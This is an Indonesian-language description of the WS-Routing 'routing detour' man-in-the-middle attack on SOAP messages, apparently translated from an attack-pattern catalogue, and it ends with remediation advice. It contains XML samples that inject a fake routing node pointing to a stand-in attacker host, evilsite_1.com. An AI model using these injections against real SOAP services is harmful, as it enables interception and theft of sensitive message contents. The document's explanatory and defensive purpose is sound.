Deskripsi
WS-Routing Protocol adalah protokol untuk bertukar pesan SOAP dari pengirim pesan awal ke penerima, biasanya melalui serangkaian perantara. Protokol WS-Routing diimplementasikan sebagai ekstensi SOAP, dan tertanam dalam Header SOAP. WS-Routing sering digunakan untuk menyediakan cara untuk mengarahkan lalu lintas XML melalui lingkungan dan transaksi yang kompleks dengan memungkinkan stasiun jalan sementara di jalur XML untuk menetapkan instruksi routing ke dokumen XML.
Mengambil pendekatan minimalis, WS-Routing merangkum jalur pesan dalam pesan SOAP, sehingga pesan berisi cukup informasi untuk dikirim di Internet menggunakan transportasi seperti TCP dan UDP sambil mendukung:
- Model jalur pesan SOAP,
- Dupleks penuh, pola pesan satu arah,
- Dupleks penuh, pola pesan permintaan respons, dan
- Korelasi pesan.
Rute Memutar adalah jenis serangan "Manusia di Tengah" di mana Perantara dapat disuntikkan atau "dibajak" untuk merutekan pesan sensitif ke lokasi di luar. Informasi perutean (baik di tajuk HTTP atau tajuk WS-Routing) dapat dimodifikasi dalam rute dan jejak perutean dapat dihapus dari tajuk dan pesan sedemikian rupa sehingga aplikasi penerima tidak ada yang lebih bijaksana bahwa perputaran perutean telah terjadi.
Masalah utama
Penyerang menyuntikkan node perutean palsu (menggunakan layanan WS-Referral) ke dalam tabel perutean header XML dari pesan SOAP yang diidentifikasi dalam fase Explore. Dengan demikian, penyerang dapat merutekan pesan XML ke node yang dikontrol penyerang (dan mengakses konten pesan)
Contoh injeksi WS-Routing berbasis WS-Referral dari rute simpul palsu
<r:ref xmlns:r="http://schemas.example.com/referral"> <r:for> <r:prefix>http://example_2.com/router</r:prefix> </r:for> <r:if/> <r:go> <r:via>http://evilsite_1.com/router</r:via> </r:go> </r:ref>
Menghasilkan Routing Memutar serangan
<S:Envelope> <S:Header> <m:path xmlns:m="http://schemas.example.com/rp/" S:actor="http://schemas.example.com/soap/actor" S:mustUnderstand="1"> <m:action>http://example_0.com/</m:action> <m:to>http://example_4.com/router</m:to> <m:id>uuid:1235678-abcd-1a2b-3c4d-1a2b3c4d5e6f</m:id> <m:fwd> <m:via>http://example_2.com/router</m:via> <m:via>http://evilesite_1.com/router</m:via> <m:via>http://example_3.com/router</m:via> </m:fwd> <m:rev /> </m:path> </S:Header> <S:Body> ... </S:Body> </S:Envelope>
Konsekuensi
Dengan demikian, menggunakan Routing Detour, penyerang dapat merutekan pesan XML ke simpul yang dikontrol peretas (dan akses ke konten pesan).
Remediasi umum
Desain: Tentukan node perantara jumlah maksimum untuk permintaan dan memerlukan koneksi SSL dengan otentikasi bersama.
Implementasi: Gunakan SSL untuk koneksi antara semua pihak dengan otentikasi bersama